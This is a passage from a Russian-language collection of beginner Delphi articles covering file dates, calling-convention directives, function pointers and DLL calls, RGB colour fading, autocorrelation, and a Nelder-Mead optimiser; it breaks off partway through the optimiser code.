Статьи по Delphi (008)…

Общая техника использования функций и процедур – получить дату создания файла.

Автор: Bramus Когда я только начал программировать я сталкнулся с огромной проблемой (для меня), в советах из разных источников находил нужные функции и процедуры которые не знал как выполнить, например, по нажатию кнопки. Далее привожу примеры. Надеюсь они будут небесполезны начинающим программистам.

Эта функция при нажатии на Button1 выводит информацию о файле.

unit Unit1;
interface
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;
type
  TForm1 = class(TForm)
    Button1: TButton;
    Label1: TLabel;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
function GetFileDate(TheFileName: string): string; // эта строка необязательна
var
  Form1: TForm1;
implementation
{$R *.dfm}
function GetFileDate(TheFileName: string): string;
var
  FHandle: integer;
begin
  FHandle := FileOpen(TheFileName, 0);
  result := DateTimeToStr(FileDateToDateTime(FileGetDate(FHandle)));
  FileClose(FHandle);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
  label1.Caption := GetFileDate('C:\borland.exe');
end;
end.
также пользоваться и procedure

Этот пример функции я привел только для того чтобы посмотреть общую технику выполнения. Вы можете использовать что угодно.

Заголовок и стандартные директивы.

Заголовок процедуры имеет вид:

PROCEDURE  [()]; 

Заголовок функции:

FUNCTION  [()]: ; 
Здесь - имя подпрограммы (правильный идентификатор); - список формальных параметров; - тип возвращаемого функцией результата.

Сразу за заголовком подпрограммы может следовать одна из стандартных директив assembler, external, far, forward, inline, interrupt, near. Эти директивы уточняют действия компилятора и распространяются на всю подпрограмму и только на нее, т. е., если за подпрограммой следует другая подпрограмма, стандартная директива, указанная за заголовком первой, не распространяется на вторую.

assembler - эта директива отменяет стандартную последовательность машинных инструкций, вырабатываемых при входе в процедуру и перед выходом из нее. Тело подпрограммы в этом случае должно реализоваться с помощью команд встроенного Ассемблера. external - с помощью этой директивы объявляется внешняя подпрограмма. far - компилятор должен создавать код подпрограммы, рассчитанный на дальнюю модель вызова. Директива near заставит компилятор создать код, рассчитанный на ближнюю модель памяти. Введены для совместимости с Delphi 1, которая использовала сегментную модель памяти. forward - используется при опережающем описании (см. п. 8.6) для сообщения компилятору, что описание подпрограммы следует где-то дальше по тексту программы (но в пределах текущего прораммного модуля). inline - указывает на то, что тело подпрограммы реализуется с помощью встроенных машинных инструкций. interrupt - используется при создании процедур обработки прерываний. Помимо описанных в Object Pascal можно использовать также стандартные директивы, регламентирующие способ передачи параметров через стек и использование регистров для их передачи - такие директивы используются при работе с ядром Windows. Они перечислены в приводимой ниже таблице. Графа порядок определяет порядок размещения параметров в стеке: слева направо означает размещение в стеке по порядку описания - сначала первый параметр, затем второй и т. д.; справа налево означает размещение с конца перечисления параметров - сначала последний, затем предпоследний и т. д. Графа Очистка определяет, кто будет очищать стек: подпрограмма перед передачей управления в вызывающую программу или программа после получения управления. Графа регистры содержит да, если для передачи параметров помимо стека используются также регистры центрального процессора.

Таблица 8.1. Стандартные директивы, регламентирующие способ передачи параметров через стек и использование регистров для их передачи.

Директива  Порядок        Очистка       Регистры
safecall   Справа налево  Подпрограмма  Нет 
Stdcall    Справа налево  Подпрограмма  Нет 
Cdecl      Справа налево  Программа     Нет 
Pascal     Слева направо  Подпрограмма  Нет 
Register   Слева направо  Подпрограмма  Да 

Примечание

Все фуйкции API ядра Wmdows;скомпилированы .в режиме stidcall, а те, что доддерживают технологию СОМ - в режиме sаfеса11.

Передача функции как параметра.

В нашем случае лучшим решением будет использование процедурного типа. Допустим, что DllFunction() на входе хочет получить определенную функцию, поясним это на примере кода:

type
  TMyFuncType = function: integer;
var
  MyFunc: TMyFuncType;
function foo: integer;
begin
  result := 1;
end;
begin
  MyFunc := foo;
  DllFunction(longint(MyFunc));

Вы можете это сделать и так:

DllFunction( longint( @foo )) ;
Все же я не уверен в вопросах корректности использования таким образом в вызовах DLL. памяти (для меня пока неясна работа с памятью, находящейся в другом сегменте), как в этом примере, так что возможно для корректной работы вам придется объявить foo с директивой far, экспортировать ее в модуле, или что-то еще.

Также, в зависимости от того, как написана DllFunction(), вы можете в вызове подразумевать приведение типа:

function DllFunction( p: TMyFuncType ): Integer;
far; external 'mydll';
В этом случае вам не нужна будет переменная MyFunc или оператор @.

В Delphi/Pascal вы можете передавать функции как параметры. Тем не менее, чтобы этим воспользоваться, необходимо для компилятора установить тип. Попробуйте следующий код (я реально его компилил и тестировал):

unit Unit1;
interface
uses
  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
  Forms, Dialogs, StdCtrls;
type
  TForm1 = class(TForm)
    Button1: TButton;
    Button2: TButton;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  Form1: TForm1;
implementation
{$R *.DFM}
type
  IntFunc = function: integer;
function DllFunction(iFunc: IntFunc): integer; far;
begin
  DllFunction := iFunc; {Обратите внимание на то, что это вызов функции}
end;
function iFoo: integer; far;
begin
  iFoo := 1;
end;
procedure TestIFunc;
var
  i: integer;
begin
  i := DllFunction(iFoo);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
  TestIFunc;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
  Close;
end;
end.

Вы можете сделать две вещи. Во-первых, если вы хотите использовать для передачи longint, напишите следующий код:

i := longint(@foo)

Другая вещь, которую вы можете сделать - исключить работу с longint и вызывать функцию dll следующим образом:

DLLfunction (@foo);

Имейте в виду, что если вы собираетесь вызывать foo из DLL, то необходимо предусмотреть вопросы совместимости, для получения дополнительной информации почитайте описание функции MakeProcInstance.

Функция для работы с палитрами и RGB.

У меня трудности с пониманием операций, производимых в Delphi над палитрой. По существу, я имею 4 открытых формы, которые должны использовать цвета, которые не входят в стандрартный набор из 20 именованных цветов. Ячейки таблицы также должны использовать мои нестандартные цвета. Есть какой-либо способ обновления системной палитры для того, чтобы все формы использовали один и тот же цвет?

При работе с палитрами рекомендуется пользоваться функцией RGB. Если вы используете ее для изменения свойства "Color", Windows довольно хорошо справляется с задачай подбора цветов для низкого разрешения, а в системах с высоким разрешением вы получите точный цвет RGB. Это могло бы послужить выходом из создавшейся у вас ситуации. Вот пример формы, которая "линяет" от красного до синего:

procedure TForm1.FormClick(Sender: TObject);
var
  blue: Byte;
begin
  For blue := 0 to 255 do
  Begin
    Color := RGB(255-blue,0,blue);
    Update;
  End;
end;

Указатель на функцию.

Это то, что я нашел при создании простой машины состояний:

Ниже приведен простой пример для Borland Delphi, использующий указатели функций для управления программным потоком. Просто создайте простую форму с единственной кнопкой и скопируйте код из Unit1 во вновь созданный модуль. Добавьте к проекту Unit2 и скомпилируйте проект. Дайте мне знать, если у вас возникнут какие-либо проблемы.

interface
uses
  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
  Forms, Dialogs, StdCtrls;
type
  TForm1 = class(TForm)
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  Form1: TForm1;
  CurrProc: LongInt;
  MyVal: LongInt;
implementation
uses Unit2;
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
var
  NewProc: LongInt;
  MyString: string;
begin
  CurrProc := 2; { начальная точка в таблице методов }
  MyVal := 0; { вспомогательная переменная }
  NewProc := 0;
    { возвращаемое значение для следующего индекса в таблице методов }
  while CurrProc < 6 do
  begin
    { выполняем текущий индекс в таблице методов и получаем следующую процедуру }
    NewProc := ProcTable[CurrProc](MyVal);
    { просто показываем значения NewProc и CurrProc }
    FmtStr(MyString, 'NewProc [%d] CurrProc [%d]', [NewProc, CurrProc]);
    MessageDlg(MyString, mtInformation, [mbOK], 0);
    { присваиваем текущую процедуру возвращаемой процедуре }
    CurrProc := NewProc;
  end;
end;
end.
{ Это простой пример, определяющий массив указателей на функции }
interface
type
  { определяем Procs как функцию }
  Procs = function(var ProcNum: LongInt): LongInt;
var
  { объявляем массив указателей на функции }
  ProcTable: array[1..5] of Procs;
  { определения интерфейсов функций }
function Proc1(var MyVal: LongInt): LongInt; far;
function Proc2(var MyVal: LongInt): LongInt; far;
function Proc3(var MyVal: LongInt): LongInt; far;
function Proc4(var MyVal: LongInt): LongInt; far;
function Proc5(var MyVal: LongInt): LongInt; far;
implementation
uses Dialogs;
function Proc1(var MyVal: LongInt): LongInt;
begin
  MessageDlg('Процедура 1', mtInformation, [mbOK], 0);
  Proc1 := 6;
end;
function Proc2(var MyVal: LongInt): LongInt;
begin
  MessageDlg('Процедура 2', mtInformation, [mbOK], 0);
  Proc2 := 3;
end;
function Proc3(var MyVal: LongInt): LongInt;
begin
  MessageDlg('Процедура 3', mtInformation, [mbOK], 0);
  Proc3 := 4;
end;
function Proc4(var MyVal: LongInt): LongInt;
begin
  MessageDlg('Процедура 4', mtInformation, [mbOK], 0);
  Proc4 := 5;
end;
function Proc5(var MyVal: LongInt): LongInt;
begin
  MessageDlg('Процедура 5', mtInformation, [mbOK], 0);
  Proc5 := 1;
end;
initialization
  { инициализируем содержание массива указателей на функции }
  @ProcTable[1] := @Proc1;
  @ProcTable[2] := @Proc2;
  @ProcTable[3] := @Proc3;
  @ProcTable[4] := @Proc4;
  @ProcTable[5] := @Proc5;
end.
Я думаю это можно сделать приблизительно так: объявите в каждой форме процедуры, обрабатывающие нажатие кнопки, типа процедуры CutButtonPressed(Sender:TObject) of Object; затем просто назначьте события кнопок OnClick этим процедурам при наступлении событий форм OnActivate. Этот способ соответствует концепции ОО-программирования, но если вам не нравится это, то вы все еще можете воспользоваться указателями функций, которая предоставляет Delphi. Объявите базовый класс формы с объявлениями абстрактных функций для каждой функции, которую вы хотите вызывать из вашего toolbar. Затем наследуйте каждую вашу форму от базового класса формы и создайте определения этих функций.

Пример: (Здесь может встретиться пара синтаксических ошибок - я не компилил это).

type
  TBaseForm = class(TForm)
  public
    procedure Method1; virtual; abstract;
  end;
type
  TDerivedForm1 = class(TBaseForm)
  public
    procedure Method1; override;
  end;
  TDerivedForm2 = class(TBaseForm)
  public
    procedure Method1; override;
  end;
procedure TDerivedForm1.Method1;
begin
  ....
end;
procedure TDerivedForm2.Method1;
begin
  ....
end;
{Для вызова функции из вашего toolbar,
получите активную в настоящий момент форму и вызовите Method1}
procedure OnButtonClick;
var
  AForm: TBaseForm;
begin
  AForm := ActiveForm as TBaseForm;
  AForm.Method1;
end;

Указатель на функцию 2.

Что лично я использую, чтобы вызвать какую-то функцию из DLL: Объявите тип:
type
TYourDLLFunc = function(Parm1: TParm1; Parm2: TParm2): TParm3;
Объявите переменную этого типа:
var
YourDllFunc: TYourDLLFunc;
Получаем дескриптор DLL:
DLLHandle := LoadLibrary('YourDLL.DLL');
Получаем адрес функции:
@YourDLLFunc := GetProcAddress(DLLHandle, 'YourDLLFuncName');
Для использования функции теперь используйте переменную YourDLLFunc, например:
Parm3 := YourDLLFunc(Parm1, Parm2);

Вычисление автокорреляционной функции.

Автор: Lookin WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Вычисление автокорреляционной функции
Зависимости: Math
Автор:       lookin, lookin@mail.ru, Екатеринбург
Copyright:   lookin
Дата:        2 июня 2002 г.
***************************************************** }
//TDoubleArray = array of double
procedure AutoCorrelation(ValueArray: TDoubleArray; var ACArray: TDoubleArray;
  FromValue, ToValue: integer);
var
  i, j, N: integer;
  avr, dev, xxsum: double;
begin
  //ValueArray - массив типа double для которого вычисляется функция
  //FromValue - номер точки, начиная с которого выбираются элементы массива
  //ToValue - номер точки, на котором заканчивается выбор элементов массива
  //ACArray - массив возвращаемых значений автокорреляционной функции
  //для 5-и точек
  N := ToValue - FromValue;
  SetLength(ACArray, 5);
  if N < 5 then
  begin
    for i := 0 to 4 do
      ACArray[i] := 0;
    Exit;
  end
  else
  begin
    SetLength(rv, N);
    dev := 0;
    for i := 0 to N - 1 do
      rv[i] := ValueArray[i + FromValue];
    avr := Mean(rv);
    for i := 0 to N - 1 do
      dev := dev + Sqr(rv[i] - avr);
    dev := dev / N;
    for j := 0 to 4 do
    begin
      xxsum := 0;
      for i := 0 to (N - 1) - j do
        xxsum := xxsum + (rv[i] - avr) * (rv[i + j] - avr);
      ACArray[j] := xxsum / (dev * (N - j));
    end;
  end;
end;

Пример использования:

var
  SourceArray, ACCoefs: TDoubleArray;
begin
  AutoCorrelation(SourceArray, ARCoefs, 0, Length(SourceArray) - 1);
  for i := 0 to Length(ACCoefs) - 1 do
    showmessage(FloatToStr(ACCoefs[i]));

Оптимизация функции методом деформируемого многогранника (Метод Нелдера-Мида).

Автор: Mystic WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Оптимизация функции методом деформируемого многогранника (Метод Нелдера-Мида)
Передаваемая структура:
TNelderOption = record
Size: Cardinal; // Размер структуры (обязательно)
Flags: Cardinal; // Флаги (обязательно)
Func: TMathFunction; // Функция (обязательно)
N: Integer; // Размерность (обязательно)
X0: PExtended; // Указатель на начальную точку (обязательно)
X: PExtended; // Указатель куда записывать результат (обязательно)
Eps: Extended; // Точность (опция FIND_MIN_USE_EPS)
Delta: Extended; // Способ проверки (опция FIND_MIN_USE_DELTA)
R: Extended; // Расстояние между вершинами симплекса (опция FIND_MIN_USE_R)
Mode: Integer; // Метод решения (опция FIND_MIN_USE_MODE)
Alpha: Extended; // Коэффициент отражения (опция FIND_MIN_USE_ALPHA)
Beta: Extended; // Коэффициент сжатия (опция FIND_MIN_USE_BETA)
Gamma: Extended; // Коэффициент растяжения (опция FIND_MIN_USE_GAMMA)
end;
Возвращаемое значение - 0 если хорошо, иначе ошибка
Зависимости: Windows
Автор:       Mystic, mystic2000@newmail.ru, ICQ:125905046, Харьков
Copyright:   Mystic (посвящается Оксане в память о ее дипломе)
Дата:        25 апреля 2002 г.
***************************************************** }
const
  CONST_1_DIV_SQRT_2 = 0.70710678118654752440084436210485;
  FIND_MIN_OK = 0;
  FIND_MIN_INVALID_OPTION = 1;
  FIND_MIN_INVALID_FUNC = 2;
  FIND_MIN_INVALID_N = 3;
  FIND_MIN_INVALID_X0 = 4;
  FIND_MIN_INVALID_X = 5;
  FIND_MIN_INVALID_EPS = 6;
  FIND_MIN_INVALID_DELTA = 7;
  FIND_MIN_INVALID_R = 8;
  FIND_MIN_MODE_NOT_SUPPORT = 9;
  FIND_MIN_OUT_OF_MEMORY = 10;
  FIND_MIN_INVALID_ALPHA = 11;
  FIND_MIN_INVALID_BETA = 12;
  FIND_MIN_INVALID_GAMMA = 13;
  FIND_MIN_MODE_STD = 0;
  FIND_MIN_MODE_1 = 1;
  FIND_MIN_MODE_2 = 2;
  FIND_MIN_USE_EPS = $00000001;
  FIND_MIN_USE_R = $00000002;
  FIND_MIN_USE_MODE = $00000004;
  FIND_MIN_USE_DELTA = $00000008;
  FIND_MIN_USE_ALPHA = $00000010;
  FIND_MIN_USE_BETA = $00000020;
  FIND_MIN_USE_GAMMA = $00000040;
  // Некоторые комбинации стандартных опций:
  FIND_MIN_USE_EPS_R = FIND_MIN_USE_EPS or FIND_MIN_USE_R;
  FIND_MIN_USE_EPS_R_MODE = FIND_MIN_USE_EPS_R or FIND_MIN_USE_MODE;
  FIND_MIN_USE_EPS_R_DELTA = FIND_MIN_USE_EPS_R or FIND_MIN_USE_DELTA;
  FIND_MIN_USE_EPS_R_MODE_DELTA = FIND_MIN_USE_EPS_R_MODE or FIND_MIN_USE_DELTA;
  FIND_MIN_USE_ALL = FIND_MIN_USE_EPS or FIND_MIN_USE_R or FIND_MIN_USE_MODE or
    FIND_MIN_USE_DELTA or FIND_MIN_USE_ALPHA or
    FIND_MIN_USE_BETA or FIND_MIN_USE_GAMMA;
type
  PMathFunction = ^TMathFunction;
  TMathFunction = function(X: PExtended): Extended;
  PNelderOption = ^TNelderOption;
  TNelderOption = record
    Size: Cardinal; // Размер структуры (обязательно)
    Flags: Cardinal; // Флаги (обязательно)
    Func: TMathFunction; // Функция (обязательно)
    N: Integer; // Размерность (обязательно)
    X0: PExtended; // Указатель на начальную точку (обязательно)
    X: PExtended; // Указатель куда записывать результат (обязательно)
    Eps: Extended; // Точность (опция FIND_MIN_USE_EPS)
    Delta: Extended; // Способ проверки (опция FIND_MIN_USE_DELTA)
    R: Extended; // Расстояние между вершинами симплекса (опция FIND_MIN_USE_R)
    Mode: Integer; // Метод решения (опция FIND_MIN_USE_MODE)
    Alpha: Extended; // Коэффициент отражения (опция FIND_MIN_USE_ALPHA)
    Beta: Extended; // Коэффициент сжатия (опция FIND_MIN_USE_BETA)
    Gamma: Extended; // Коэффициент растяжения (опция FIND_MIN_USE_GAMMA)
  end;
  {**********
    Проверка указателя Option на то, что все его параметры доступны для чтения
  **********}
function CheckNelderOptionPtr(Option: PNelderOption): Integer;
begin
  // Проверка указателя #1 (допустимость указателя)
  if IsBadReadPtr(@Option, 4) then
  begin
    Result := FIND_MIN_INVALID_OPTION;
    Exit;
  end;
  // Проверка указателя #2 (слишком мало параметров)
  if Option.Size < 24 then
  begin
    Result := FIND_MIN_INVALID_OPTION;
    Exit;
  end;
  // Проверка указателя #3 (все данные можно читать?)
  if IsBadReadPtr(@Option, Option.Size) then
  begin
    Result := FIND_MIN_INVALID_OPTION;
    Exit;
  end;
  Result := FIND_MIN_OK;
end;
{************
  Копирование данных из одной структуры в другую с попутной проверкой
  на допустимость значений всех параметров.
************}
function CopyData(const InOption: TNelderOption; var OutOption: TNelderOption):
  Integer;
var
  CopyCount: Cardinal;
begin
  Result := FIND_MIN_OK;
  // Копируем одну структуру в другую
  CopyCount := SizeOf(TNelderOption);
  if InOption.Size < CopyCount then
    CopyCount := InOption.Size;
  Move(InOption, OutOption, CopyCount);
  // Устанавливаем размер
  OutOption.Size := SizeOf(TNelderOption);
  // Проверка Option.Func
  if IsBadCodePtr(@OutOption.Func) then
  begin
    Result := FIND_MIN_INVALID_FUNC;
    Exit;
  end;
  // Проверка Option.N
  if OutOption.N <= 0 then
  begin
    Result := FIND_MIN_INVALID_N;
    Exit;
  end;
  // Проверка Option.X0
  if IsBadReadPtr(OutOption.X0, OutOption.N * SizeOf(Extended)) then
  begin
    Result := FIND_MIN_INVALID_X0;
    Exit;
  end;
  // Проверка Option.X
  if IsBadWritePtr(OutOption.X, OutOption.N * SizeOf(Extended)) then
  begin
    Result := FIND_MIN_INVALID_X;
    Exit;
  end;
  // Проверка Option.Eps
  if (FIND_MIN_USE_EPS and OutOption.Flags) <> 0 then
  begin
    if OutOption.Size < 34 then // Eps не вписывается в размер
    begin
      Result := FIND_MIN_INVALID_OPTION;
      Exit;
    end
    else if OutOption.Eps <= 0 then
    begin
      Result := FIND_MIN_INVALID_EPS;
      Exit;
    end;
  end
  else
  begin
    OutOption.Eps := 1E-06; // Default value;
  end;
  // Проверка OutOption.Delta
  if (FIND_MIN_USE_DELTA and OutOption.Flags) <> 0 then
  begin
    if OutOption.Size < 44 then
    begin
      Result := FIND_MIN_INVALID_OPTION;
      Exit;
    end
    else if (OutOption.Delta < 0.0) or (OutOption.Delta > 1.0) then
    begin
      Result := FIND_MIN_INVALID_DELTA;
      Exit;
    end;
  end
  else
  begin
    OutOption.Delta := 0.5; // Default value
  end;
  // Проверка OutOption.R
  if (FIND_MIN_USE_R and OutOption.Flags) <> 0 then
  begin
    if OutOption.Size < 54 then
    begin
      Result := FIND_MIN_INVALID_OPTION;
      Exit;
    end
    else if (OutOption.R <= 0.0) then
    begin
      Result := FIND_MIN_INVALID_R;
      Exit;
    end;
  end
  else
  begin
    OutOption.R := 100.0; // Default value
  end;
  // Проверка OutOption.Mode
  if (FIND_MIN_USE_MODE and OutOption.Flags) <> 0 then
  begin
    if OutOption.Size < 58 then
    begin
      Result := FIND_MIN_INVALID_OPTION;
      Exit;
    end
    else if (OutOption.Mode <> FIND_MIN_MODE_STD) then
      if (OutOption.Mode <> FIND_MIN_MODE_1) then
        if (OutOption.Mode <> FIND_MIN_MODE_2) then
        begin
          Result := FIND_MIN_MODE_NOT_SUPPORT;
          Exit;
        end;
  end
  else
  begin
    OutOption.Mode := FIND_MIN_MODE_STD; // Default value
  end;
  // Проверка OutOption.Alpha
  if (FIND_MIN_USE_ALPHA and OutOption.Flags) <> 0 then
  begin
    if OutOption.Size < 68 then
    begin
      Result := FIND_MIN_INVALID_OPTION;
      Exit;
    end
    else if OutOption.Alpha < 0.0 then
    begin
      Result := FIND_MIN_INVALID_ALPHA;
      Exit;
    end;
  end
  else
  begin
    OutOption.Alpha := 1.0; // Default value
  end;
  // Проверка OutOption.Beta
  if (FIND_MIN_USE_BETA and OutOption.Flags) <> 0 then
  begin
    if OutOption.Size < 78 then
    begin
      Result := FIND_MIN_INVALID_OPTION;
      Exit;
    end
    else if (OutOption.Beta < 0.0) or (OutOption.Beta > 1.0) then
    begin
      Result := FIND_MIN_INVALID_BETA;
      Exit;
    end;
  end
  else
  begin
    OutOption.Beta := 0.5; // Default value
  end;
  // Проверка OutOption.Gamma
  if (FIND_MIN_USE_GAMMA and OutOption.Flags) <> 0 then
  begin
    if OutOption.Size < 88 then
    begin
      Result := FIND_MIN_INVALID_OPTION;
      Exit;
    end
    else if OutOption.Gamma < 1.0 then
    begin
      Result := FIND_MIN_INVALID_GAMMA;
      Exit;
    end;
  end
  else
  begin
    OutOption.Gamma := 1.5; // Default value
  end;
end;
type
  TNelderTempData = record
    D1: Extended;
    D2: Extended;
    FC: Extended;
    FU: Extended;
    XN: PExtended;
    D0: PExtended;
    FX: PExtended;
    C: PExtended;
    U: PExtended;
    V: PEXtended;
    Indexes: PInteger;
  end;
function InitializeTempData(var TempData: TNelderTempData; N: Integer): Integer;
var
  SizeD0: Integer;
  SizeFX: Integer;
  SizeC: Integer;
  SizeU: Integer;
  SizeV: Integer;
  SizeIndexes: Integer;
  SizeAll: Integer;
  Ptr: PChar;
begin
  // Вычисляем размеры
  SizeD0 := N * (N + 1) * SizeOf(Extended);
  SizeFX := (N + 1) * SizeOf(Extended);
  SizeC := N * SizeOf(Extended);
  SizeU := N * SizeOf(Extended);
  SizeV := N * SizeOf(Extended);
  SizeIndexes := (N + 1) * SizeOf(Integer);
  SizeAll := SizeD0 + SizeFX + SizeC + SizeU + SizeV + SizeIndexes;
  Ptr := SysGetMem(SizeAll);
  if not Assigned(Ptr) then
  begin
    Result := FIND_MIN_OUT_OF_MEMORY;
    Exit;
  end;
  TempData.D0 := PExtended(Ptr);
  Ptr := Ptr + SizeD0;
  TempData.FX := PExtended(Ptr);
  Ptr := Ptr + SizeFX;
  TempData.C := PExtended(Ptr);
  Ptr := Ptr + SizeC;
  TempData.U := PExtended(Ptr);
  Ptr := Ptr + SizeU;
  TempData.V := PExtended(Ptr);
  Ptr := Ptr + SizeV;
  TempData.Indexes := PInteger(Ptr);
  // Ptr := Ptr + SizeIndexes
  Result := FIND_MIN_OK;
end;
procedure FinalizeTempData(var TempData: TNelderTempData);
var
  Ptr: Pointer;
begin
  Ptr := TempData.D0;
  TempData.D0 := nil;
  TempData.FX := nil;
  TempData.C := nil;
  TempData.U := nil;
  TempData.V := nil;
  TempData.Indexes := nil;
  SysFreeMem(Ptr);
end;
{*********
  Строится симплекс:
    В целях оптимизации поменяем местами строки и столбцы
**********}
procedure BuildSimplex(var Temp: TNelderTempData; const Option: TNelderOption);
var
  I, J: Integer;
  PtrD0: PExtended;
begin
  with Temp, Option do
  begin
    D1 := CONST_1_DIV_SQRT_2 * R * (Sqrt(N + 1) + N - 1) / N;
    D2 := CONST_1_DIV_SQRT_2 * R * (Sqrt(N + 1) - 1) / N;
    FillChar(D0^, N * SizeOf(Extended), 0);
    PtrD0 := D0;
    PChar(PtrD0) := PChar(PtrD0) + N * SizeOf(Extended);
    for I := 0 to N - 1 do
      for J := 0 to N - 1 do
      begin
        if I = J then
          PtrD0^ := D1
        else
          PtrD0^ := D2;
        PChar(PtrD0) := PChar(PtrD0) + SizeOf(Extended);
      end;
  end;
end;
{*********
  Перемещение симплекса в точку A
*********}
procedure MoveSimplex(var Temp: TNelderTempData; const Option: TNelderOption; A:
  PExtended);
var
  I, J: Integer;
  PtrA, PtrD0: PExtended;
begin
  with Temp, Option do
  begin
    PtrD0 := D0;
    for I := 0 to N do
    begin
      PtrA := A;
      for J := 0 to N - 1 do
      begin
        PtrD0^ := PtrD0^ + PtrA^;
        PChar(PtrD0) := PChar(PtrD0) + SizeOf(Extended);
        PChar(PtrA) := PChar(PtrA) + SizeOf(Extended);
      end;
    end;
  end;
end;
// Быстрая сортировка значений FX
procedure QuickSortFX(L, R: Integer; FX: PExtended; Indexes: PInteger);
var
  I, J, K: Integer;
  P, T: Extended;
begin
  repeat
    I := L;
    J := R;
    // P := FX[(L+R) shr 1] :
    P := PExtended(PChar(FX) + SizeOf(Extended) * ((L + R) shr 1))^;
    repeat
      // while FX[I] < P do Inc(I):
      while PExtended(PChar(FX) + SizeOf(Extended) * I)^ < P do
        Inc(I);
      // while FX[J] > P do Dec(J):
      while PExtended(PChar(FX) + SizeOf(Extended) * J)^ > P do
        Dec(J);
      if I <= J then
      begin
        // Переставляем местами значения FX
        T := PExtended(PChar(FX) + SizeOf(Extended) * I)^;
        PExtended(PChar(FX) + SizeOf(Extended) * I)^ := PExtended(PChar(FX) +
          SizeOf(Extended) * J)^;
        PExtended(PChar(FX) + SizeOf(Extended) * J)^ := T;
        // Поддерживаем порядок и в индексах
        K := PInteger(PChar(Indexes) + SizeOf(Integer) * I)^;
        PInteger(PChar(Indexes) + SizeOf(Integer) * I)^ :=
          PInteger(PChar(Indexes) + SizeOf(Integer) * J)^;
        PInteger(PChar(Indexes) + SizeOf(Integer) * J)^ := K;
        Inc(I);
        Dec(J);
      end;
    until I > J;
    if L < J then
      QuickSortFX(L, J, FX, Indexes);
    L := I;
  until I >= R;
end;
procedure CalcFX(var Temp: TNelderTempData; Option: TNelderOption);
var
  I: Integer;
  PtrD0, PtrFX: PExtended;
begin
  with Temp, Option do
  begin
    // Вычисление значений функции
    PtrD0 := D0;
    PtrFX := FX;
    for I := 0 to N do
    begin
      PtrFX^ := Func(PtrD0);
      PChar(PtrD0) := PChar(PtrD0) + N * SizeOf(Extended);
      PChar(PtrFX) := PChar(PtrFX) + SizeOf(Extended);
    end;
  end;
end;
// Освежаем и сортируем FX + освежаем индексы
procedure RefreshFX(var Temp: TNelderTempData; Option: TNelderOption);
var
  I: Integer;
  PtrIndexes: PInteger;
begin
  with Temp, Option do
  begin
    // Заполение индексов
    PtrIndexes := Indexes;
    for I := 0 to N do
    begin
      PtrIndexes^ := I;
      PChar(PtrIndexes) := PChar(PtrIndexes) + SizeOf(Integer);
    end;
    // Сортировка
    QuickSortFX(0, N, FX, Indexes);
    // Возвращаемое значение: Result := D0 + SizeOf(Extended) * Indexes[N]
    PChar(PtrIndexes) := PChar(PtrIndexes) - SizeOf(Integer);
    XN := PExtended(PChar(D0) + N * SizeOf(Extended) * PtrIndexes^);
  end;
end;
procedure CalcC(var Temp: TNelderTempData; const Option: TNelderOption);
var
  PtrC, PtrD0: PExtended;
  I, J: Integer;
begin
  with Temp, Option do
  begin
    PtrD0 := D0;
    // C := 0;
    FillChar(C^, N * SizeOf(Extended), 0);
    // C := Sum (Xn)
    for I := 0 to N do
      if PtrD0 <> XN then
      begin
        PtrC := C;
        for J := 0 to N - 1 do
        begin
          PtrC^ := PtrC^ + PtrD0^;
          PChar(PtrC) := PChar(PtrC) + SizeOf(Extended);
          PChar(PtrD0) := PChar(PtrD0) + SizeOf(Extended);
        end;
      end
      else
      begin
        // Пропускаем вектор из D0:
        PChar(PtrD0) := PChar(PtrD0) + N * SizeOf(Extended);
      end;
    // C := C / N
    PtrC := C;
    for J := 0 to N - 1 do
    begin
      PtrC^ := PtrC^ / N;
      PChar(PtrC) := PChar(PtrC) + SizeOf(Extended);
    end;
  end;
end;
procedure ReflectPoint(var Temp: TNelderTempData; const Option: TNelderOption;
  P: PExtended; Factor: Extended);
var
  PtrC, PtrXN: PExtended;
  I: Integer;
begin
  with Temp, Option do
  begin
    PtrXN := XN;
    PtrC := C;
    for I := 0 to N - 1 do
    begin
      P^ := PtrC^ + Factor * (PtrC^ - PtrXN^);
      PChar(P) := PChar(P) + SizeOf(Extended);
      PChar(PtrC) := PChar(PtrC) + SizeOf(Extended);
      PChar(PtrXN) := PChar(PtrXN) + SizeOf(Extended);
    end;
  end;
end;
const
  SITUATION_EXPANSION = 0;
  SITUATION_REFLECTION = 1;
  SITUATION_COMPRESSION = 2;
  SITUATION_REDUCTION = 3;
function DetectSituation(var Temp: TNelderTempData; const Option:
  TNelderOption): Integer;
  //FX, U: PExtended; Func: PMathFunction; N: Integer; FU: Extended): Integer;
var
  PtrFX: PEXtended;
begin
  with Temp, Option do
  begin
    FU := Func(Temp.U);
    if FU < FX^ then
      Result := SITUATION_EXPANSION
    else
    begin
      PtrFX := PExtended(PChar(FX) + (N - 1) * SizeOf(Extended));
      if FU < PtrFX^ then
        Result := SITUATION_REFLECTION
      else
      begin
        PChar(PtrFX) := PChar(PtrFX) + SizeOf(Extended);
        if FU < PtrFX^ then
          Result := SITUATION_COMPRESSION
        else
          Result := SITUATION_REDUCTION;
      end;
    end;
  end;
end;
procedure Expansion(var Temp: TNelderTempData; const Option: TNelderOption);
var
  FV: EXtended;
  LastIndex: Integer;
  TempPtr: PChar;
begin
  with Temp, Option do
  begin
    ReflectPoint(Temp, Option, V, Gamma);
    FV := Func(Temp.V);
    // Коррекция FX
    Move(FX^, (PChar(FX) + SizeOf(Extended))^, N * SizeOf(Extended));
    // Заносим на первое место
    if FV < FU then
    begin
      FX^ := FV;
      Move(V^, XN^, N * SizeOf(EXtended));
    end
    else
    begin
      FX^ := FU;
      Move(U^, XN^, N * SizeOf(Extended));
    end;
